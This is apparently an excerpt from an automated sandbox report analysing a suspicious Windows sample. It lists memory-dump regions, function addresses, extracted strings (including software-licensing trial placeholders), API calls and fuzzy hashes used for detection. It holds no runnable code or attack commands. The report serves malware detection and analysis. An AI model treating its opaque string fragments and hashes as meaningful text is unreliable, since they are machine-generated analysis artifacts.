Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0082838a636b1525c3af6f61a21fd2f6e03e03f16de2a27109b5b717de2f14bd
Instruction ID: c9406755d49adb118350dfdaf2245dc0c4e010887b080f9d521631626c846416
Opcode Fuzzy Hash: 0082838a636b1525c3af6f61a21fd2f6e03e03f16de2a27109b5b717de2f14bd
Instruction Fuzzy Hash: A1E0ECB6B0410DABDB10DE4CD944B5A379DE798710F148011FA09D7241C234ED10A765

Function 03498142 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b3aa6217ae105ef43cb0aa65708c4d4f17baebde37bf744ec9eb8188f0b290
Instruction ID: 989f111da33bfcdcc086b89ce2e3095e9b269851cc4aee5a5293dddc59e12b51
Opcode Fuzzy Hash: 25b3aa6217ae105ef43cb0aa65708c4d4f17baebde37bf744ec9eb8188f0b290
Instruction Fuzzy Hash: 45E08632301114EFCF009F46DC0DEA67FA8EB152A1715C06AF90E8B660C633D811CF90

Function 03498180 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1409ba3771f372c3fc9bc50df21240d48e3701b2a74fed0f851bb245c3b3bf9
Instruction ID: f066493182535c9a869f6fafe019a1836abe4aa8df7407b7dabb6d1f2aae3909
Opcode Fuzzy Hash: e1409ba3771f372c3fc9bc50df21240d48e3701b2a74fed0f851bb245c3b3bf9
Instruction Fuzzy Hash: EAD0C937201268ABCB11AB95E808D9ABBA9EB94261B158066FA5D87610C6316A25CB90

Non-executed Functions

Function 00EA4498 Relevance: 38.2, Strings: 30, Instructions: 740COMMON

Download Yara Rule

Strings

%AppName%, xrefs: 00EA4500
%CU_VIRTTOOLS%, xrefs: 00EA4803
%TrialExecMinsLeft%, xrefs: 00EA4DD3
%TrialEndYear%, xrefs: 00EA4C44
%KeyExpDay%, xrefs: 00EA46CB
%DaysToKeyExp%, xrefs: 00EA4575
%KeyExpYear%, xrefs: 00EA4613
%TrialExpDay%, xrefs: 00EA4AA0
%TrialDaysLeft%, xrefs: 00EA494A
%TrialEndMonth%, xrefs: 00EA4CB6
%TrialExecMinsTotal%, xrefs: 00EA4D7E
%TrialDaysTotal%, xrefs: 00EA48F8
%TrialStartDay%, xrefs: 00EA4BE4
%KeyExpMonth%, xrefs: 00EA466F
%TrialExecsTotal%, xrefs: 00EA4853
%TrialStartYear%, xrefs: 00EA4B00
%CU_WINVER%, xrefs: 00EA47C8
%RegKey%, xrefs: 00EA45C9
%CU_INSTSERV%, xrefs: 00EA4793
%TrialEndDay%, xrefs: 00EA4D28
%AppVers%, xrefs: 00EA4540
%CU_EXTFILES%, xrefs: 00EA4734
%CU_EXECPR%, xrefs: 00EA475E
%RegName%, xrefs: 00EA459F
%TrialExpMonth%, xrefs: 00EA4A2E
%.2d, xrefs: 00EA4655, 00EA46B1, 00EA4A0B, 00EA4A7D, 00EA4B4F, 00EA4BC1, 00EA4C93, 00EA4D05
%HardwareID%, xrefs: 00EA46FF
%TrialExecsLeft%, xrefs: 00EA48A5
%TrialStartMonth%, xrefs: 00EA4B72
%TrialExpYear%, xrefs: 00EA49BC

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: %.2d$%AppName%$%AppVers%$%CU_EXECPR%$%CU_EXTFILES%$%CU_INSTSERV%$%CU_VIRTTOOLS%$%CU_WINVER%$%DaysToKeyExp%$%HardwareID%$%KeyExpDay%$%KeyExpMonth%$%KeyExpYear%$%RegKey%$%RegName%$%TrialDaysLeft%$%TrialDaysTotal%$%TrialEndDay%$%TrialEndMonth%$%TrialEndYear%$%TrialExecMinsLeft%$%TrialExecMinsTotal%$%TrialExecsLeft%$%TrialExecsTotal%$%TrialExpDay%$%TrialExpMonth%$%TrialExpYear%$%TrialStartDay%$%TrialStartMonth%$%TrialStartYear%
API String ID: 0-4160824473
Opcode ID: 1f37811fde4fbbb3851a588b6d6bf363f5d633983fd095968d7a4c49f40d16c0
Instruction ID: 6cdefc0d8f4b80627b7164faeff82f43ff85851c18ce793948da738fdb4817e8
Opcode Fuzzy Hash: 1f37811fde4fbbb3851a588b6d6bf363f5d633983fd095968d7a4c49f40d16c0
Instruction Fuzzy Hash: 69622235A001589FCB10EB94CC91FED77B9EF49300F5190A6E548AB356DA30AD8ACF72

Function 0349588A Relevance: 22.5, Strings: 15, Instructions: 3775COMMON

Download Yara Rule

Strings

`=d=, xrefs: 0349660F
\=`=, xrefs: 03496DC7
D=H=, xrefs: 03496DBB
h=l=, xrefs: 0349732C
P=T=, xrefs: 03496DC1
`=p=, xrefs: 0349790D
\=`=, xrefs: 03497327
`=h=, xrefs: 03495F61
P=T=, xrefs: 03497321
h=l=, xrefs: 03496DCC
t=x=, xrefs: 03496619
D=H=, xrefs: 0349731B
H=L=, xrefs: 03496603
t=x=, xrefs: 03495F67
T=X=, xrefs: 03496609

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID: D=H=$D=H=$H=L=$P=T=$P=T=$T=X=$\=`=$\=`=$`=d=$`=h=$`=p=$h=l=$h=l=$t=x=$t=x=
API String ID: 0-519775087
Opcode ID: 8f339a45fe0b7882a2d3cb24dd4d488b13ea7c6b7cd792b260a50779325fc0cf
Instruction ID: dbe7ccc66a474244088e6a247fde1fb3a605cf867d86f690a0978934a53f581f
Opcode Fuzzy Hash: 8f339a45fe0b7882a2d3cb24dd4d488b13ea7c6b7cd792b260a50779325fc0cf
Instruction Fuzzy Hash: 9643262144C7C26EDF638B7844991C3BFA1AE072243EA1AEFC4D18E963D61285C7D797

Function 034958C9 Relevance: 22.3, Strings: 15, Instructions: 3578COMMON

Download Yara Rule

Strings

`=d=, xrefs: 0349660F
\=`=, xrefs: 03496DC7
D=H=, xrefs: 03496DBB
h=l=, xrefs: 0349732C
P=T=, xrefs: 03496DC1
`=p=, xrefs: 0349790D
\=`=, xrefs: 03497327
`=h=, xrefs: 03495F61
P=T=, xrefs: 03497321
h=l=, xrefs: 03496DCC
t=x=, xrefs: 03496619
D=H=, xrefs: 0349731B
H=L=, xrefs: 03496603
t=x=, xrefs: 03495F67
T=X=, xrefs: 03496609

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID: D=H=$D=H=$H=L=$P=T=$P=T=$T=X=$\=`=$\=`=$`=d=$`=h=$`=p=$h=l=$h=l=$t=x=$t=x=
API String ID: 0-519775087
Opcode ID: 32f92106b4ddeba3c1fb2e78abe3140728a9be59b2ff28f2340433221805efc8
Instruction ID: 3681906bd6c1f98fa204fe2d644e143b3f3267842d7caaf53544173f3c63ef2c
Opcode Fuzzy Hash: 32f92106b4ddeba3c1fb2e78abe3140728a9be59b2ff28f2340433221805efc8
Instruction Fuzzy Hash: 2933352144C7C26EDF638B7844991C3BFA1AE072243EA1AEFC4D18E963D61285C7D797

Function 03495899 Relevance: 22.3, Strings: 15, Instructions: 3578COMMON

Download Yara Rule

Strings

`=d=, xrefs: 0349660F
\=`=, xrefs: 03496DC7
D=H=, xrefs: 03496DBB
h=l=, xrefs: 0349732C
P=T=, xrefs: 03496DC1
`=p=, xrefs: 0349790D
\=`=, xrefs: 03497327
`=h=, xrefs: 03495F61
P=T=, xrefs: 03497321
h=l=, xrefs: 03496DCC
t=x=, xrefs: 03496619
D=H=, xrefs: 0349731B
H=L=, xrefs: 03496603
t=x=, xrefs: 03495F67
T=X=, xrefs: 03496609

Memory Dump Source

Source File: 00000000.00000002.4123883819.0000000003490000.00000040.00001000.00020000.00000000.sdmp, Offset: 03490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3490000_un30brGAKP.jbxd

Similarity

API ID:
String ID: D=H=$D=H=$H=L=$P=T=$P=T=$T=X=$\=`=$\=`=$`=d=$`=h=$`=p=$h=l=$h=l=$t=x=$t=x=
API String ID: 0-519775087
Opcode ID: 0a46a92a6161635b4e3f122435a95a499476ab209f1bcb1b297afa845da6da72
Instruction ID: d9ed6bf4fac842827424a8df0ced37dd53ad21a09b7d27f17d78c35b7b8925dd
Opcode Fuzzy Hash: 0a46a92a6161635b4e3f122435a95a499476ab209f1bcb1b297afa845da6da72
Instruction Fuzzy Hash: 1233352144C7C26EDF738B7844991C2BFA1AE072243EA1AEFC4D18E963D61285C7D797

Function 00D91196 Relevance: 19.8, APIs: 2, Strings: 9, Instructions: 600COMMON

Download Yara Rule

Strings

w, xrefs: 00D9178C
{, xrefs: 00D913EB
?, xrefs: 00D915A6
, xrefs: 00D911A9
}, xrefs: 00D91787
p, xrefs: 00D91657
|, xrefs: 00D91828
i, xrefs: 00D91238
t, xrefs: 00D913F3

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: $?$i$p$t$w${$|$}
API String ID: 0-67396366
Opcode ID: 0b04e9d6d125807c779a904347d5f7b44baa79f9ee88c528a310489f9bc3adb7
Instruction ID: 1ff37eeb29ad7e7305f21be0904457d3456ff2327a84efe877e84a42eacbc860
Opcode Fuzzy Hash: 0b04e9d6d125807c779a904347d5f7b44baa79f9ee88c528a310489f9bc3adb7
Instruction Fuzzy Hash: D632EA76A0C7518BD724DF38C49539FBBD2AFC5320F194A2ED4E997381DA7488058B63

Function 00DA5210 Relevance: 14.3, Strings: 11, Instructions: 528COMMON

Download Yara Rule

Strings

m9T;, xrefs: 00DA539E
^-]/, xrefs: 00DA537D
Z5j7, xrefs: 00DA5393
J%R', xrefs: 00DA5367
~)O+, xrefs: 00DA5372
R!G#, xrefs: 00DA535C
3A6C, xrefs: 00DA53B4
Y1]3, xrefs: 00DA5388
U=P?, xrefs: 00DA53A9
%E*G, xrefs: 00DA53BF
$IJK, xrefs: 00DA53CA

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: $IJK$%E*G$3A6C$J%R'$R!G#$U=P?$Y1]3$Z5j7$^-]/$m9T;$~)O+
API String ID: 0-2572109043
Opcode ID: 322cd4d2541cbbb94977abfd41d88cd92699b362c2192e56b567d3c020d619cb
Instruction ID: a9f606edca767642ccdc2eed429abe2a48913e3240d2fba487320d7020d57e39
Opcode Fuzzy Hash: 322cd4d2541cbbb94977abfd41d88cd92699b362c2192e56b567d3c020d619cb
Instruction Fuzzy Hash: 67F1E1B5A18342DFD7248F64E891B6BB7E1FB85304F58882CE5C6873A5DB74C805CB62

Function 00D89390 Relevance: 11.7, Strings: 9, Instructions: 425COMMON

Download Yara Rule

Strings

iQSB, xrefs: 00D89437
ZA, xrefs: 00D893FB
H\]G, xrefs: 00D893D3
oRP[, xrefs: 00D8972E, 00D89741
c}e{, xrefs: 00D896F5
r, xrefs: 00D896DC
MTLG, xrefs: 00D893DB
p,VB, xrefs: 00D893C3
oRP[, xrefs: 00D89647

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: H\]G$MTLG$ZA$c}e{$iQSB$oRP[$oRP[$p,VB$r
API String ID: 0-3770883324
Opcode ID: 1bcc119e030bc3723727734f3412fb185f68206239ff090a0c3d67433c318966
Instruction ID: 9d485ab6dff7c5666e00ab28c5c7b2279d960d3f8c263bd3f8eb23df24625f78
Opcode Fuzzy Hash: 1bcc119e030bc3723727734f3412fb185f68206239ff090a0c3d67433c318966
Instruction Fuzzy Hash: B2B1B07150C3918BD322DF29846076BFFE1AFD7304F5D8A9CE8E55B282D2798905C7A2

Function 00EDA05C Relevance: 6.9, Strings: 5, Instructions: 623COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00EDA33E
incorrect header check, xrefs: 00EDA240
invalid window size, xrefs: 00EDA295
header crc mismatch, xrefs: 00EDA751
unknown compression method, xrefs: 00EDA261, 00EDA323

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3633268661
Opcode ID: bbf3a4caf70fc2547e2dc226b866787c7482e0cda00fc1905176518933a52313
Instruction ID: 7d9c52480a471e60b0aa32db0684c385af20c7274dd7c21ee94f7708d20c445a
Opcode Fuzzy Hash: bbf3a4caf70fc2547e2dc226b866787c7482e0cda00fc1905176518933a52313
Instruction Fuzzy Hash: 2D424D70508341CFDB19CF18C48475ABBE2FF84304F199AAEE8959B396D774D986CB82

Function 00ECFE4C Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

X, xrefs: 00ECFFEF
X, xrefs: 00ECFFF9
F, xrefs: 00ECFFE5
J, xrefs: 00ECFE6A
J, xrefs: 00ECFFDC

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: F$J$J$X$X
API String ID: 0-2166313073
Opcode ID: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction ID: b86f254de17c60370bfd1d43a2ee885bdbd3d322602073fada76568347b11a5a
Opcode Fuzzy Hash: 12fdb1c193f4f78136981c133ba371dc7561109d75048bcbb9abb70116e7edbf
Instruction Fuzzy Hash: 0D716C706042809FD718CF29C094796BFE2EF5A308F19D4AED4898F366C676D946CB91

Function 00DA5E00 Relevance: 5.6, Strings: 4, Instructions: 590COMMON

Download Yara Rule

Strings

H}}C, xrefs: 00DA6318
LMR|, xrefs: 00DA6310
vu~r, xrefs: 00DA6330
fd, xrefs: 00DA5E50

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: H}}C$LMR|$vu~r$fd
API String ID: 0-3401985308
Opcode ID: f4e022b6d81ecb6e74513452ad50a1d3985180a81abb51295d86ba61c0427d4d
Instruction ID: 061bf5942830ccf29804f9f0880a6fa1123d0623b08784a6cccd7af89506f879
Opcode Fuzzy Hash: f4e022b6d81ecb6e74513452ad50a1d3985180a81abb51295d86ba61c0427d4d
Instruction Fuzzy Hash: 030213B1608341CFDB109F28D89176BBBE1EB96314F18482CE5C68B352D779D94ACB72

Function 00DA3400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00DA34FB
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00DA3598

Strings

&, xrefs: 00DA35E7

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: &
API String ID: 237503144-3835491774
Opcode ID: d239fefad6f6bd8f9e32655a84285cd3baa4ad20c5744e1c195514d70c3e0c8b
Instruction ID: 676c80fcbcf9f2a1b478479a0691857b83962d64cc4f6c3d110ccca5fec77b92
Opcode Fuzzy Hash: d239fefad6f6bd8f9e32655a84285cd3baa4ad20c5744e1c195514d70c3e0c8b
Instruction Fuzzy Hash: 755100716493959FE310CF69C88075FBBE6EBC5300F04892DF5A89B381D7B199098BA2

Function 00D897D0 Relevance: 5.4, Strings: 4, Instructions: 434COMMON

Download Yara Rule

Strings

45, xrefs: 00D89B76
W'TF, xrefs: 00D89892, 00D8989D, 00D89917
0567FAAB3419304A1B825E506F021727, xrefs: 00D89898
e, xrefs: 00D8999D

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: 0567FAAB3419304A1B825E506F021727$45$W'TF$e
API String ID: 0-3571903407
Opcode ID: c691d7e628a364a8128b043d47a3cd09614be1c8b18deacb2cbcd4274ae8eac5
Instruction ID: af5c623b1680d76ee84a75d4ef977585e6b37cb9aab4b35ced4f79249af56a91
Opcode Fuzzy Hash: c691d7e628a364a8128b043d47a3cd09614be1c8b18deacb2cbcd4274ae8eac5
Instruction Fuzzy Hash: 5EC114B26083408BD718DF65C86166FBBE6EBC1314F1D896CE1D68B351DB38C506CB26

Function 00DA2D70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00DA2E17

Strings

zx, xrefs: 00DA2D81
eb, xrefs: 00DA2DB5

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: eb$zx
API String ID: 237503144-2522594701
Opcode ID: 8c4ba82b7a7cbe16368d51765f935a4dd95911472d87b2514c9cb61c1cfde745
Instruction ID: 37e6a3e9d668724e62fdffb31e1b96879bff47211e98522b0fe853d5bfb21ecb
Opcode Fuzzy Hash: 8c4ba82b7a7cbe16368d51765f935a4dd95911472d87b2514c9cb61c1cfde745
Instruction Fuzzy Hash: 3421067161C3114FD319CF29C89275FBBE2EBC6700F18C83CE5915B2A5CA75950ACB96

Function 00D8B0C0 Relevance: 5.2, Strings: 4, Instructions: 226COMMON

Download Yara Rule

Strings

;5, xrefs: 00D8B32B
71, xrefs: 00D8B335
dq, xrefs: 00D8B18A
~p, xrefs: 00D8B191

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: dq$~p$71$;5
API String ID: 0-4096661681
Opcode ID: 3f76f6bc8999b63e7709b68011f59e5690227bdb634501f282f74645425feedb
Instruction ID: f6d798adb6be29ca472c20881a8a1d4998bbb4859cc361a5ffbfb1ee1b002bc7
Opcode Fuzzy Hash: 3f76f6bc8999b63e7709b68011f59e5690227bdb634501f282f74645425feedb
Instruction Fuzzy Hash: C0A111B5100B418FD334CF29C89679BBBE5FB45324F148A2CD5AA8BB94C774A4058F91

Function 00D88320 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

-, xrefs: 00D8866D
-, xrefs: 00D885A8
gohi, xrefs: 00D88440

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: -$-$gohi
API String ID: 0-3487584697
Opcode ID: c1dedd2e3c21116ec71768a096070597efb604e8306ad3dd03c0c9751e31fb7c
Instruction ID: 16d80420b42723a3db034c6b91014615e1deea7b11ee6e5c8201029f340d76d7
Opcode Fuzzy Hash: c1dedd2e3c21116ec71768a096070597efb604e8306ad3dd03c0c9751e31fb7c
Instruction Fuzzy Hash: 27A15C72B083524BC718DE2DC89126ABBD2EB81710F988A2DE4D6D7391EE34DC059B95

Function 00D8EAA0 Relevance: 3.9, Strings: 3, Instructions: 183COMMON

Download Yara Rule

Strings

\, xrefs: 00D8EAC0
Y, xrefs: 00D8EC68
T, xrefs: 00D8EB53

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
